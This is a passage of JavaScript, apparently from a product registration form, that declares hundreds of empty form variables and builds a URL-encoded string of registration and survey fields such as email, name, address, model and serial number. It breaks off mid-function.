IF33=""; IF34=""; IF35=""; IF36=""; IF37=""; IF38=""; IF39=""; IF40=""; IF41=""; IFOT=""; MA01=""; MA02=""; MA03=""; MA04=""; MA05=""; MA06=""; MA07=""; MA08=""; MA09=""; MA10=""; MA11=""; MA12=""; MA13=""; MA14=""; MA15=""; MA16=""; MA17=""; MA18=""; MA19=""; MA20=""; MA21=""; MA22=""; MA23=""; MA24=""; MA25=""; MA26=""; MAOT=""; OF01=""; OF02=""; OF03=""; OF04=""; OF05=""; OF06=""; OF07=""; OF08=""; OF09=""; OF10=""; OF11=""; OF12=""; OF13=""; OF14=""; OF15=""; OF16=""; OF17=""; OF18=""; OF19=""; OS01=""; OS02=""; OS03=""; OS04=""; OS05=""; OS06=""; OS07=""; OS08=""; OS09=""; OS10=""; OS11=""; OS12=""; OS13=""; OS14=""; OS15=""; OS16=""; OS17=""; OS18=""; OS19=""; BR01=""; BR02=""; BR03=""; BR04=""; BR05=""; BR06=""; BR07=""; BR08=""; BR09=""; BR10=""; BR11=""; BR12=""; BR13=""; BR14=""; BR15=""; BR16=""; BR17=""; BR18=""; BR19=""; FC01=""; FC02=""; FC03=""; FC04=""; FC05=""; FC06=""; FC07=""; FC08=""; FC09=""; FC10=""; FC11=""; FC12=""; FC13=""; FC14=""; FC15=""; FC16=""; FC17=""; FC01i=-1; FC02i=-1; FC03i=-1; FC04i=-1; FC05i=-1; FC06i=-1; FC07i=-1; FC08i=-1; FC09i=-1; FC10i=-1; FC11i=-1; FC12i=-1; FC13i=-1; FC14i=-1; FC15i=-1; FC16i=-1; FC17i=-1; UNET=""; UNETi=-1; MARS=""; MARSi=-1; EWAR=""; EWARi=-1; OCOT=""; CG00=""; CG00i=-1; CG01=""; CG01i=-1; CG02=""; CG02i=-1; CG03=""; CG03i=-1; CG04=""; CG04i=-1; CG05=""; CG05i=-1; CG06=""; CG06i=-1; CG07=""; CG07i=-1; CG08=""; CG08i=-1; CG09=""; CG09i=-1; CG10=""; CG10i=-1; CG11=""; CG11i=-1; COCO=""; COCOi=0; MI00=""; MI01=""; MI02=""; MI03=""; MI04=""; MI05=""; MI06=""; MI07=""; MI08=""; MI09=""; MI10=""; MI11=""; MI12=""; MI13=""; MI14=""; MI00i=-1; MI01i=-1; MI02i=-1; MI03i=-1; MI04i=-1; MI05i=-1; MI06i=-1; MI07i=-1; MI08i=-1; MI09i=-1; MI10i=-1; MI11i=-1; MI12i=-1; MI13i=-1; MI14i=-1; YD01=""; YD02=""; YD03=""; YD04=""; YD05=""; YD06=""; YD07=""; YD08=""; YD09=""; YD10=""; YD11=""; YD12=""; YD13=""; YD14=""; YD15=""; YD16=""; YD17=""; YD18=""; YD19=""; YD20=""; YD21=""; YD22=""; YD23=""; YD24=""; YD25=""; YD26=""; YD27=""; YD28=""; YD29=""; YD30=""; YD31=""; YD32=""; YD33=""; YD34=""; YD35=""; YD36=""; YD37=""; YD38=""; YD39=""; YD40=""; YD41=""; YD42=""; YD43=""; YD44=""; YD45=""; YD46=""; YD47=""; YD48=""; YD49=""; YD50=""; YD51=""; YD52=""; YD53=""; YD54=""; YD55=""; YD01i=-1; YD02i=-1; YD03i=-1; YD04i=-1; YD05i=-1; YD06i=-1; YD07i=-1; YD08i=-1; YD09i=-1; YD10i=-1; YD11i=-1; YD12i=-1; YD13i=-1; YD14i=-1; YD15i=-1; YD16i=-1; YD17i=-1; YD18i=-1; YD19i=-1; YD20i=-1; YD21i=-1; YD22i=-1; YD23i=-1; YD24i=-1; YD25i=-1; YD26i=-1; YD27i=-1; YD28i=-1; YD29i=-1; YD30i=-1; YD31i=-1; YD32i=-1; YD33i=-1; YD34i=-1; YD35i=-1; YD36i=-1; YD37i=-1; YD38i=-1; YD39i=-1; YD40i=-1; YD41i=-1; YD42i=-1; YD43i=-1; YD44i=-1; YD45i=-1; YD46i=-1; YD47i=-1; YD48i=-1; YD49i=-1; YD50i=-1; YD51i=-1; YD52i=-1; YD53i=-1; YD54i=-1; YD55i=-1; NI00=""; NI01=""; NI02=""; NI03=""; NI04=""; NI05=""; NI06=""; NI07=""; NI08=""; NI09=""; NI10=""; NI11=""; NI12=""; NI13=""; NI14=""; NI15=""; NI16=""; NI17=""; NI18=""; NI19=""; NI20=""; NI21=""; NI22=""; NI23=""; NI24=""; NI25=""; NI26=""; NI27=""; NI00i=-1; NI01i=-1; NI02i=-1; NI03i=-1; NI04i=-1; NI05i=-1; NI06i=-1; NI07i=-1; NI08i=-1; NI09i=-1; NI10i=-1; NI11i=-1; NI12i=-1; NI13i=-1; NI14i=-1; NI15i=-1; NI16i=-1; NI17i=-1; NI18i=-1; NI19i=-1; NI20i=-1; NI21i=-1; NI22i=-1; NI23i=-1; NI24i=-1; NI25i=-1; NI26i=-1; NI27i=-1; NIOT=""; AC01=""; AC02=""; AC03=""; AC04=""; AC05=""; AC06=""; AC07=""; AC08=""; AC09=""; AC10=""; AC11=""; AC12=""; AC13=""; AC14=""; AC15=""; AC16=""; AC17=""; AC18=""; AC19=""; AC20=""; AC21=""; AC22=""; AC23=""; AC24=""; AC01i=-1; AC02i=-1; AC03i=-1; AC04i=-1; AC05i=-1; AC06i=-1; AC07i=-1; AC08i=-1; AC09i=-1; AC10i=-1; AC11i=-1; AC12i=-1; AC13i=-1; AC14i=-1; AC15i=-1; AC16i=-1; AC17i=-1; AC18i=-1; AC19i=-1; AC20i=-1; AC21i=-1; AC22i=-1; AC23i=-1; AC24i=-1; AO39=""; IS39=""; B639=""; AO40=""; IS40=""; B640=""; AO41=""; IS41=""; B641=""; AO42=""; IS42=""; B642=""; AO43=""; IS43=""; B643=""; AO39i=-1; IS39i=-1; B639i=-1; AO40i=-1; IS40i=-1; B640i=-1; AO41i=-1; IS41i=-1; B641i=-1; AO42i=-1; IS42i=-1; B642i=-1; AO43i=-1; IS43i=-1; B643i=-1; EIMG=""; EIMGi=0; IC01=""; IC02=""; IC03=""; IC04=""; IC05=""; IC06=""; IC07=""; IC01i=-1; IC02i=-1; IC03i=-1; IC04i=-1; IC05i=-1; IC06i=-1; IC07i=-1; ICOT=""; SF49=""; FA32=""; EISC=""; EISCi=-1; COLR=""; COLRi="0"; WPOL=""; SF50=""; SF50i="-1"; SF51=""; SF51i="-1"; SF52=""; SF52i="-1"; SF53=""; SF53i="-1"; SF54=""; SF54i="-1"; MDRI=""; MDRIi="-1"; MDIR=""; MDIRi="0"; OB05=""; OB05i="-1"; OB06=""; OB06i="-1"; OB07=""; OB07i="-1"; OB08=""; OB08i="-1"; OB09=""; OB09i="-1"; OB10=""; OB10i="-1"; OB11=""; OB11i="-1"; OB12=""; OB12i="-1"; OBFI=""; OP01=""; OP01i="-1"; OP02=""; OP02i="-1"; OP03=""; OP03i="-1"; OP04=""; OP04i="-1"; SMDR=""; SMDRi="0"; SMDO=""; DMFI=""; DMFIi="-1"; HMFD=""; HMFDi="0"; WSMM=""; WSMMi="0"; MMFI=""; MDFP =""; MDMP =""; MDFC =""; MDMC =""; SF55 =""; SF56 =""; SF57 =""; SF58 =""; SF59 =""; SF60 =""; SF61 =""; SF62 =""; SF63 =""; SF64 =""; SF65 =""; SF55i =0; SF56i =0; SF57i =0; SF58i =0; SF59i =0; SF60i =0; SF61i =0; SF62i =0; SF63i =0; SF64i =0; SF65i =0; SFFI =""; RC01 =""; RC02 =""; RC03 =""; RC04 =""; RC05 =""; RC06 =""; RC07 =""; RC08 =""; RC01i =0; RC02i =0; RC03i =0; RC04i =0; RC05i =0; RC06i =0; RC07i =0; RC08i =0; RCFI =""; RH01 =""; RH02 =""; RH03 =""; RH04 =""; RH05 =""; RH06 =""; RH01i =0; RH02i =0; RH03i =0; RH04i =0; RH05i =0; RH06i =0; RHFI =""; FE35 =""; FE36 =""; FE37 =""; FE38 =""; FE39 =""; FE40 =""; FE41 =""; FE42 =""; FE43 =""; FE44 =""; FE45 =""; FE46 =""; FE47 =""; FE48 =""; FE49 =""; FE50 =""; FE51 =""; FE52 =""; FE53 =""; FE35i =0; FE36i =0; FE37i =0; FE38i =0; FE39i =0; FE40i =0; FE41i =0; FE42i =0; FE43i =0; FE44i =0; FE45i =0; FE46i =0; FE47i =0; FE48i =0; FE49i =0; FE50i =0; FE51i =0; FE52i =0; FE53i =0; NCDK =""; NCDKi =0; NPRM =""; NBLM =""; NVRC =""; NCTP =""; PMDP =""; PMDR =""; CRMD =""; MDDK =""; PMDPi =-1; PMDRi =-1; CRMDi =-1; MDDKi =-1; PUSE = ""; PUSEi =0; IF42=""; IF43=""; IF44=""; IF45=""; IF46=""; IF47=""; IF48=""; OF00=""; OS00=""; BR00=""; OB13=""; OB14=""; MO01=""; MO02=""; MO03=""; MO04=""; MO05=""; MO06=""; MO07=""; MO08=""; MO09=""; MO10=""; MO11=""; MO12=""; MO13=""; MO01i=-1; MO02i=-1; MO03i=-1; MO04i=-1; MO05i=-1; MO06i=-1; MO07i=-1; MO08i=-1; MO09i=-1; MO10i=-1; MO11i=-1; MO12i=-1; MO13i=-1; RF09=""; RF10=""; RF11=""; RF12=""; RF13=""; RF14=""; RF15=""; RF16=""; RF17=""; RF18=""; RF19=""; RF20=""; RF21=""; RF22=""; RF23=""; RF24=""; RF25=""; RF26=""; RF27=""; RF28=""; RF29=""; RF30=""; RF31=""; RF32=""; RF33=""; RF34=""; RF35=""; RF36=""; RF37=""; RF38=""; RF39=""; RF40=""; RF41=""; RF42=""; RF43=""; RF44=""; RF45=""; RF46=""; RF47=""; RF48=""; RF49=""; RF50=""; RF51=""; RF52=""; RF53=""; RF54=""; RF55=""; RF56=""; RF57=""; RF58=""; RF59=""; RF60=""; RF61=""; RF62=""; RF63=""; RF64=""; RF65=""; RF66=""; RF67=""; RF09i=-1; RF10i=-1; RF11i=-1; RF12i=-1; RF13i=-1; RF14i=-1; RF15i=-1; RF16i=-1; RF17i=-1; RF18i=-1; RF19i=-1; RF20i=-1; RF21i=-1; RF22i=-1; RF23i=-1; RF24i=-1; RF25i=-1; RF26i=-1; RF27i=-1; RF28i=-1; RF29i=-1; RF30i=-1; RF31i=-1; RF32i=-1; RF33i=-1; RF34i=-1; RF35i=-1; RF36i=-1; RF37i=-1; RF38i=-1; RF39i=-1; RF40i=-1; RF41i=-1; RF42i=-1; RF43i=-1; RF44i=-1; RF45i=-1; RF46i=-1; RF47i=-1; RF48i=-1; RF49i=-1; RF50i=-1; RF51i=-1; RF52i=-1; RF53i=-1; RF54i=-1; RF55i=-1; RF56i=-1; RF57i=-1; RF58i=-1; RF59i=-1; RF60i=-1; RF61i=-1; RF62i=-1; RF63i=-1; RF64i=-1; RF65i=-1; RF66i=-1; RF67i=-1; CO08=""; CO09=""; CO10=""; CO11=""; CO12=""; CO13=""; CO14=""; CO15=""; CO16=""; CO17=""; CO18=""; CO19=""; CO08i=-1; CO09i=-1; CO10i=-1; CO11i=-1; CO12i=-1; CO13i=-1; CO14i=-1; CO15i=-1; CO16i=-1; CO17i=-1; CO18i=-1; CO19i=-1; WUCP=""; WUCPi=0; AVSM=""; AVSMi=0; SD01=""; SD02=""; SD03=""; SD04=""; SD05=""; SD06=""; SD07=""; SD01i=-1; SD02i=-1; SD03i=-1; SD04i=-1; SD05i=-1; SD06i=-1; SD07i=-1; TP01=""; TP02=""; TP03=""; TP04=""; WC08=""; WC09=""; WC10=""; WC11=""; WC12=""; WC13=""; WC14=""; WC15=""; WC08i=-1; WC09i=-1; WC10i=-1; WC11i=-1; WC12i=-1; WC13i=-1; WC14i=-1; WC15i=-1; MD01=""; MD02=""; MD03=""; MD04=""; MD05=""; MD06=""; MD07=""; MD08=""; MD09=""; MD10=""; MD11=""; MD12=""; MD13=""; MD14=""; MD15=""; MF01=""; MF02=""; MF03=""; MF04=""; MF05=""; MF06=""; MF07=""; MF08=""; MF09=""; MF10=""; MF11=""; MF12=""; MF13=""; MF14=""; MF15=""; PU01=""; PU02=""; PU03=""; PU04=""; PU05=""; PU01i=-1; PU02i=-1; PU03i=-1; PU04i=-1; PU05i=-1; SF00=""; SF00i=-1; NCDR=""; AGCT=""; AGCTi=0; MUS1=""; MUS2=""; MUS3=""; MUS1i=0; MUS2i=0; MUS3i=0; SF66=""; SF67=""; SF68=""; FA33=""; FA34=""; AO44=""; IS44=""; B644=""; AO44i=-1; IS44i=-1; B644i=-1; IF52=""; IF53=""; IF54=""; IF55=""; IF56=""; IF57=""; IF58=""; IF59=""; IF60=""; IF61=""; IF62=""; IF63=""; IF64=""; IF65=""; IF66=""; IF67=""; IF68=""; IF52i=-1; IF53i=-1; IF54i=-1; IF55i=-1; IF56i=-1; IF57i=-1; IF58i=-1; IF59i=-1; IF60i=-1; IF61i=-1; IF62i=-1; IF63i=-1; IF64i=-1; IF65i=-1; IF66i=-1; IF67i=-1; IF68i=-1; MA28=""; MA28i=-1; NADL=""; AGCH=""; LRNA=""; LRNAi=0; LROT=""; WHRM=""; WHRMi="0"; WROT=""; DV01=""; DV01i="-1"; DV02=""; DV02i="-1"; DV03=""; DV03i="-1"; DV04=""; DV04i="-1"; DV05=""; DV05i="-1"; DV06=""; DV06i="-1"; DV07=""; DV07i="-1"; DV08=""; DV08i="-1"; PVUF=""; PVUFi="0"; WDVC=""; WDVCi="0"; VCOT=""; VCPU=""; VCPUi="0"; PUCA=""; PUOT=""; SCAT=""; SCATi="-1"; UCBX=""; UCBXi="-1"; CRDS=""; CRDSi="-1"; SATP=""; SATPi="-1"; BRPS=""; BRES=""; HMCC=""; HMCCi="0"; MRTV=""; MRTVi="0"; WTTV=""; WTTVi="0"; WTOT=""; MASL=""; MASLi="-1"; RESL=""; RESLi="-1"; OVSL=""; OVSLi="-1"; MPNC=""; MPNCi="0"; NCOT=""; MPDC=""; MPDCi="0"; DCOT=""; MPCP=""; MPCPi="0"; CPOT=""; CA01=""; CA01i="0"; CA02=""; CA02i="0"; CA03=""; CA03i="0"; CA04=""; CA04i="0"; CA05=""; CA05i="0"; CA06=""; CA06i="0"; HMVC=""; CTVS=""; CTVSi="0"; CTVA=""; CTVAi="0"; WKCC=""; WKCCi="0"; TVBN=""; VP01=""; VP01i="-1"; VP02=""; VP02i="-1"; VP03=""; VP03i="-1"; VPOT=""; WWVT=""; WWVTi="0"; FKTR=""; FKTP=""; FKOP=""; PKOO=""; C1AG=""; C1FV=""; C2AG=""; C2FV=""; C3AG=""; C3FV=""; C4AG=""; C4FV=""; C1A2=""; N1HT=""; N1VT=""; C2A2=""; N2HT=""; N2VT=""; C3A2=""; N3HT=""; N3VT=""; C4A2=""; N4HT=""; N4VT=""; HECG=""; HECGi="-1"; HEIC=""; HEICi="-1"; HECC=""; HECCi="-1"; HEDV=""; HEDVi="-1"; PVPR=""; PVPRi="0"; PPOT=""; BVOV=""; BVOVi="-1"; HUVV=""; HUVVi="0"; HUOT=""; RCVC=""; RCVCi="-1"; HRVC=""; HRVCi="0"; HROT=""; NCP1=""; CD01=""; CD02=""; CD03=""; CD04=""; CD05=""; CD01i=-1; CD02i=-1; CD03i=-1; CD04i=-1; CD05i=-1; RF73=""; RF74=""; RF75=""; RF76=""; RF77=""; RF78=""; RF79=""; RF80=""; RF81=""; RF82=""; RF83=""; RF84=""; RF85=""; RF86=""; RF73i=-1; RF74i=-1; RF75i=-1; RF76i=-1; RF77i=-1; RF78i=-1; RF79i=-1; RF80i=-1; RF81i=-1; RF82i=-1; RF83i=-1; RF84i=-1; RF85i=-1; RF86i=-1; YUDC=""; YUDCi=0; OCPB=""; IF49=""; IF50=""; MA27=""; CP01=""; CP02=""; CP03=""; CP04=""; CP05=""; CP06=""; CP07=""; CP08=""; CP09=""; CP10=""; CP11=""; CPFI=""; OBRN=""; OMDL=""; SNQU=""; SNQUi=0; TS01=""; TS02=""; TS03=""; TS04=""; TS05=""; TS06=""; TS07=""; TS08=""; RPAU=""; RPAUi=0; US01=""; US02=""; US03=""; US04=""; US05=""; US06=""; US07=""; US08=""; US09=""; US10=""; US11=""; US12=""; US13=""; US14=""; US01i=-1; US02i=-1; US03i=-1; US04i=-1; US05i=-1; US06i=-1; US07i=-1; US08i=-1; US09i=-1; US10i=-1; US11i=-1; US12i=-1; US13i=-1; US14i=-1; LK01=""; LK02=""; LK03=""; LK04=""; LK05=""; LK06=""; LK07=""; LK08=""; LK09=""; LK10=""; LK11=""; LK12=""; LK13=""; LK14=""; LK01i=-1; LK02i=-1; LK03i=-1; LK04i=-1; LK05i=-1; LK06i=-1; LK07i=-1; LK08i=-1; LK09i=-1; LK10i=-1; LK11i=-1; LK12i=-1; LK13i=-1; LK14i=-1; NCID=""; NCIDi=0; NP01=""; NP02=""; NP03=""; NP04=""; NP05=""; NP06=""; NP07=""; NP08=""; PLPH=""; PLPHi=0; LPFI=""; POP2=""; POP2i=0; OPP2=""; PULO=""; PULOi=0; ARTI=""; ARTIi=0; FND2=""; FND2i=-1; IWUM=""; IWUMi=0; VTPS=""; VTPSi=0; VPFI=""; MART=""; MARTi=0; OB15=""; IF69=""; IF70=""; IF71=""; OF20=""; OS20=""; BR20=""; OF21=""; OS21=""; BR21=""; FC18=""; FC18i=-1; IF72=""; IF73=""; IF74=""; IF75=""; IF76=""; IF77=""; IF78=""; MA29=""; MA30=""; OF22=""; OS22=""; BR22=""; IF79=""; IF80=""; IF81=""; MA31=""; OF23=""; OS23=""; BR23=""; OF24=""; OS24=""; BR24=""; OF25=""; OS25=""; BR25=""; OF26=""; OS26=""; BR26=""; FC19=""; FC19i=-1; IF51=""; SUIN=""; SUINi=-1; CBRN=""; CBRNi=0; PICW=""; PICWi=-1; PICI=""; PICIi=-1; WS01=""; WS02=""; WS03=""; WS04=""; WS05=""; WS06=""; WS07=""; WS08=""; WS09=""; WS10=""; WSOT=""; WR01=""; WR02=""; WR03=""; WR04=""; WR05=""; WR06=""; WR07=""; WR08=""; WR09=""; WR10=""; WR11=""; WR12=""; WR13=""; SV01=""; SV02=""; SV03=""; BMOL=""; BMOLi=-1; WTBM=""; WTBMi=0; WJSU=""; WJSUi=0; OF27=""; OS27=""; BR27=""; OF28=""; OS28=""; BR28=""; IF82=""; IF83=""; MA32=""; MA33=""; MA34=""; SFOT=""; A_Reg=0; DI_Reg_Code=0; function formData() { age_header="19"; data=""; data+="&UNID="+UNID +"&DIstat="+DI_Reg_Code +"&EMAL="+EMAL +"&PASS="+PASS +"&PASV="+PASV +"&FNAM="+FNAM +"&LNAM="+LNAM +"&ADD1="+ADD1 +"&ADD2="+ADD2 +"&CITY="+CITY +"&STAT="+STAT +"&ZIPC="+ZIPC +"&PHON="+PHON +"&AGES="+age_header+AGES +"&SEXX="+SEXX +"&OCCU="+OCCU +"&OCCO="+OCCO +"&MODL="+MODL +"&SRNU="+SRNU +"&MNTH="+MNTH +"&YEAR="+YEAR +"&POPR="+POPR +"&OPOP="+OPOP +"&WHEN="+WHEN +"&INFL="+INFL +"&FNDS="+FNDS +"&WGFT="+WGFT +"&HM01="+HM01 +"&HM02="+HM02 +"&HM03="+HM03 +"&HM04="+HM04 +"&HM05="+HM05 +"&HM06="+HM06 +"&HM07="+HM07 +"&HM08="+HM08 +"&HM09="+HM09 +"&HM10="+HM10 +"&HM11="+HM11 +"&HM12="+HM12 +"&HM13="+HM13 +"&HM14="+HM14 +"&HM15="+HM15 +"&HM16="+HM16 +"&HM17="+HM17 +"&HM18="+HM18 +"&HM19="+HM19 +"&HM20="+HM20 +"&HM21="+HM21 +"&HM22="+HM22 +"&HM23="+HM23 +"&HM24="+HM24 +"&HS01="+HS01 +"&HS02="+HS02 +"&HS03="+HS03 +"&HS04="+HS04 +"&HS05="+HS05 +"&HS06="+HS06 +"&HS07="+HS07 +"&HS08="+HS08 +"&HS09="+HS09 +"&HS10="+HS10 +"&HS11="+HS11 +"&HS12="+HS12 +"&HS13="+HS13 +"&HS14="+HS14 +"&HS15="+HS15 +"&HS16="+HS16 +"&HS17="+HS17 +"&HS18="+HS18 +"&HS19="+HS19 +"&HS20="+HS20 +"&HS21="+HS21 +"&HS22="+HS22 +"&HS23="+HS23 +"&HS24="+HS24 +"&PL01="+PL01 +"&PL02="+PL02 +"&PL03="+PL03 +"&PL04="+PL04 +"&PL05="+PL05 +"&PL06="+PL06 +"&PL07="+PL07 +"&PL08="+PL08 +"&PL09="+PL09 +"&PL10="+PL10 +"&PL11="+PL11 +"&PL12="+PL12 +"&PL13="+PL13 +"&PL14="+PL14 +"&PL15="+PL15 +"&PL16="+PL16 +"&PL17="+PL17 +"&PL18="+PL18 +"&PL19="+PL19 +"&PL20="+PL20 +"&PL21="+PL21 +"&PL22="+PL22 +"&PL23="+PL23 +"&PL24="+PL24 +"&TVSO="+TVSO +"&CE01="+CE01 +"&CE02="+CE02 +"&NEMA="+NEMA +"&PPUR="+PPUR +"&PPUO="+PPUO +"&CON1="+CON1 +"&CON2="+CON2 +"&CON3="+CON3 +"&STNM="+STNM +"&FE01="+FE01 +"&FE02="+FE02 +"&FE03="+FE03 +"&FE04="+FE04 +"&FE05="+FE05 +"&FE06="+FE06 +"&FE07="+FE07 +"&FE08="+FE08 +"&FE09="+FE09 +"&FE10="+FE10 +"&FE11="+FE11 +"&FE12="+FE12 +"&FE13="+FE13 +"&FE14="+FE14 +"&FE15="+FE15 +"&FE16="+FE16 +"&FE17="+FE17 +"&FE18="+FE18 +"&FE19="+FE19 +"&FE20="+FE20 +"&FE21="+FE21 +"&FE22="+FE22 +"&FE23="+FE23 +"&FE24="+FE24 +"&FE25="+FE25 +"&FE26="+FE26 +"&FE27="+FE27 +"&FE28="+FE28 +"&FE29="+FE29 +"&FE30="+FE30 +"&FE31="+FE31 +"&FE32="+FE32 +"&FE33="+FE33 +"&FE34="+FE34 +"&FEOT="+FEOT +"&NF01="+NF01 +"&NF02="+NF02 +"&NF03="+NF03 +"&NF04="+NF04 +"&NF05="+NF05 +"&NF06="+NF06 +"&NF07="+NF07 +"&NF08="+NF08 +"&NF09="+NF09 +"&NF10="+NF10 +"&NF11="+NF11 +"&NF12="+NF12 +"&NF13="+NF13 +"&NF14="+NF14 +"&NF15="+NF15 +"&NF16="+NF16 +"&NF17="+NF17 +"&NF18="+NF18 +"&NF19="+NF19 +"&NFOT="+NFOT +"&OSYS="+OSYS +"&OSOT="+OSOT +"&IMGS="+IMGS +"&PBY1="+PBY1 +"&PBY2="+PBY2 +"&PBY3="+PBY3 +"&PBY4="+PBY4 +"&PBY5="+PBY5 +"&PBY6="+PBY6 +"&PBY7="+PBY7 +"&PBY8="+PBY8 +"&OPBY="+OPBY +"&OWNC="+OWNC +"&CUSE="+CUSE +"&OCUS="+OCUS +"&WCAM="+WCAM +"&OC01="+OC01 +"&OC02="+OC02 +"&OC03="+OC03 +"&OC04="+OC04 +"&OC05="+OC05 +"&OC06="+OC06 +"&OC07="+OC07 +"&OC08="+OC08 +"&OC09="+OC09 +"&OC10="+OC10 +"&OC11="+OC11 +"&CU01="+CU01 +"&CU02="+CU02 +"&CU03="+CU03 +"&CU04="+CU04 +"&CU05="+CU05 +"&CU06="+CU06 +"&CU07="+CU07 +"&CU08="+CU08 +"&CU09="+CU09 +"&CU10="+CU10 +"&PLYB="+PLYB +"&CCON="+CCON +"&BC01="+BC01 +"&BC02="+BC02 +"&BC03="+BC03 +"&BC04="+BC04 +"&BC05="+BC05 +"&BC06="+BC06 +"&IN01="+IN01 +"&IN02="+IN02 +"&IN03="+IN03 +"&IN04="+IN04 +"&IN05="+IN05 +"&IN06="+IN06 +"&IN07="+IN07 +"&IN08="+IN08 +"&IN09="+IN09 +"&IN10="+IN10 +"&IN11="+IN11 +"&IN12="+IN12 +"&IN13="+IN13 +"&IN14="+IN14 +"&IN15="+IN15 +"&FI01="+FI01 +"&FI02="+FI02 +"&FI03="+FI03 +"&FI04="+FI04 +"&FI05="+FI05 +"&FI06="+FI06 +"&FI07="+FI07 +"&FI08="+FI08 +"&FI09="+FI09 +"&FI10="+FI10 +"&FI11="+FI11 +"&FI12="+FI12 +"&FI13="+FI13 +"&FI14="+FI14 +"&FI15="+FI15 +"&FI16="+FI16 +"&FI17="+FI17 +"&FI18="+FI18 +"&FI19="+FI19 +"&FI20="+FI20 +"&FI21="+FI21 +"&FI22="+FI22 +"&FI23="+FI23 +"&FI24="+FI24 +"&FI25="+FI25 +"&FI26="+FI26 +"&FI27="+FI27 +"&FI28="+FI28 +"&FI29="+FI29 +"&FI30="+FI30 +"&FI31="+FI31 +"&FI32="+FI32 +"&FI33="+FI33 +"&FI34="+FI34 +"&FI35="+FI35 +"&FI36="+FI36 +"&FI37="+FI37 +"&FI38="+FI38 +"&FI39="+FI39 +"&FI40="+FI40 +"&FI41="+FI41 +"&FI42="+FI42 +"&FI43="+FI43 +"&FI44="+FI44 +"&FI45="+FI45 +"&FI46="+FI46 +"&FI47="+FI47 +"&FI48="+FI48 +"&FI49="+FI49 +"&FI50="+FI50 +"&FI51="+FI51 +"&FI52="+FI52 +"&FI53="+FI53 +"&FI54="+FI54 +"&FI55="+FI55 +"&FI56="+FI56 +"&FI57="+FI57 +"&FI58="+FI58 +"&FF01="+FF01 +"&FF02="+FF02 +"&FF03="+FF03 +"&FF04="+FF04 +"&FF05="+FF05 +"&FF06="+FF06 +"&FF07="+FF07 +"&FF08="+FF08 +"&FF09="+FF09 +"&FF10="+FF10 +"&FF11="+FF11 +"&FF12="+FF12 +"&FF13="+FF13 +"&FF14="+FF14 +"&FF15="+FF15 +"&FF16="+FF16 +"&FF17="+FF17 +"&FF18="+FF18 +"&FF19="+FF19 +"&FF20="+FF20 +"&FF21="+FF21 +"&FF22="+FF22 +"&PPQT="+PPQT +"&PSQT="+PSQT +"&LCDQ="+LCDQ +"&NITQ="+NITQ +"&NTSQ="+NTSQ +"&GENQ="+GENQ +"&DSNQ="+DSNQ +"&OPMQ="+OPMQ +"&PRCQ="+PRCQ +"&BATQ="+BATQ +"&CMPQ="+CMPQ +"&DSCQ="+DSCQ +"&MSSQ="+MSSQ +"&MSIQ="+MSIQ +"&PGSQ="+PGSQ +"&PCPQ="+PCPQ +"&AO01="+AO01 +"&AO02="+AO02 +"&AO03="+AO03 +"&AO04="+AO04 +"&AO05="+AO05 +"&AO06="+AO06 +"&AO07="+AO07 +"&AO08="+AO08 +"&AO09="+AO09 +"&AO10="+AO10 +"&AO11="+AO11 +"&AO12="+AO12 +"&AO13="+AO13 +"&AO14="+AO14 +"&AO15="+AO15 +"&AO16="+AO16 +"&AO17="+AO17 +"&AO18="+AO18 +"&AO19="+AO19 +"&AO20="+AO20 +"&AO21="+AO21 +"&AO22="+AO22 +"&AO23="+AO23 +"&AO24="+AO24 +"&AO25="+AO25 +"&AO26="+AO26 +"&AO27="+AO27 +"&AO28="+AO28 +"&AO29="+AO29 +"&AO30="+AO30 +"&AO31="+AO31 +"&AO32="+AO32 +"&AO33="+AO33 +"&AO34="+AO34 +"&AO35="+AO35 +"&IS01="+IS01 +"&IS02="+IS02 +"&IS03="+IS03 +"&IS04="+IS04 +"&IS05="+IS05 +"&IS06="+IS06 +"&IS07="+IS07 +"&IS08="+IS08 +"&IS09="+IS09 +"&IS10="+IS10 +"&IS11="+IS11 +"&IS12="+IS12 +"&IS13="+IS13 +"&IS14="+IS14 +"&IS15="+IS15 +"&IS16="+IS16 +"&IS17="+IS17 +"&IS18="+IS18 +"&IS19="+IS19 +"&IS20="+IS20 +"&IS21="+IS21 +"&IS22="+IS22 +"&IS23="+IS23 +"&IS24="+IS24 +"&IS25="+IS25 +"&IS26="+IS26 +"&IS27="+IS27 +"&IS28="+IS28 +"&IS29="+IS29 +"&IS30="+IS30 +"&IS31="+IS31 +"&IS32="+IS32 +"&IS33="+IS33 +"&IS34="+IS34 +"&IS35="+IS35 +"&B601="+B601 +"&B602="+B602 +"&B603="+B603 +"&B604="+B604 +"&B605="+B605 +"&B606="+B606 +"&B607="+B607 +"&B608="+B608 +"&B609="+B609 +"&B610="+B610 +"&B611="+B611 +"&B612="+B612 +"&B613="+B613 +"&B614="+B614 +"&B615="+B615 +"&B616="+B616 +"&B617="+B617 +"&B618="+B618 +"&B619="+B619 +"&B620="+B620 +"&B621="+B621 +"&B622="+B622 +"&B623="+B623 +"&B624="+B624 +"&B625="+B625 +"&B626="+B626 +"&B627="+B627 +"&B628="+B628 +"&B629="+B629 +"&B630="+B630 +"&B631="+B631 +"&B632="+B632 +"&B633="+B633 +"&B634="+B634 +"&B635="+B635 +"&CTYP="+CTYP +"&AO36="+AO36 +"&AO37="+AO37 +"&IS36="+IS36 +"&IS37="+IS37 +"&B636="+B636 +"&B637="+B637 +"&FA01="+FA01 +"&FA02="+FA02 +"&FA03="+FA03 +"&FA04="+FA04 +"&FA05="+FA05 +"&FA06="+FA06 +"&FA07="+FA07 +"&FA08="+FA08 +"&FA09="+FA09 +"&FA10="+FA10 +"&FA11="+FA11 +"&FA12="+FA12 +"&FA13="+FA13 +"&FA14="+FA14 +"&FA15="+FA15 +"&FA16="+FA16 +"&FA17="+FA17 +"&FA18="+FA18 +"&FA19="+FA19 +"&FA20="+FA20 +"&FA21="+FA21 +"&FA22="+FA22 +"&FA23="+FA23 +"&FA24="+FA24 +"&FA25="+FA25 +"&FA26="+FA26 +"&FA27="+FA27 +"&SI01="+SI01 +"&SI02="+SI02 +"&SI03="+SI03 +"&SI04="+SI04 +"&SI05="+SI05 +"&SI06="+SI06 +"&SI07="+SI07 +"&SI08="+SI08 +"&SI09="+SI09 +"&SI10="+SI10 +"&SI11="+SI11 +"&SI12="+SI12 +"&SI13="+SI13 +"&SI14="+SI14 +"&SI15="+SI15 +"&SI16="+SI16 +"&SI17="+SI17 +"&SI18="+SI18 +"&SI19="+SI19 +"&SI20="+SI20 +"&SI21="+SI21 +"&SI22="+SI22 +"&SI23="+SI23 +"&SI24="+SI24 +"&SI25="+SI25 +"&SI26="+SI26 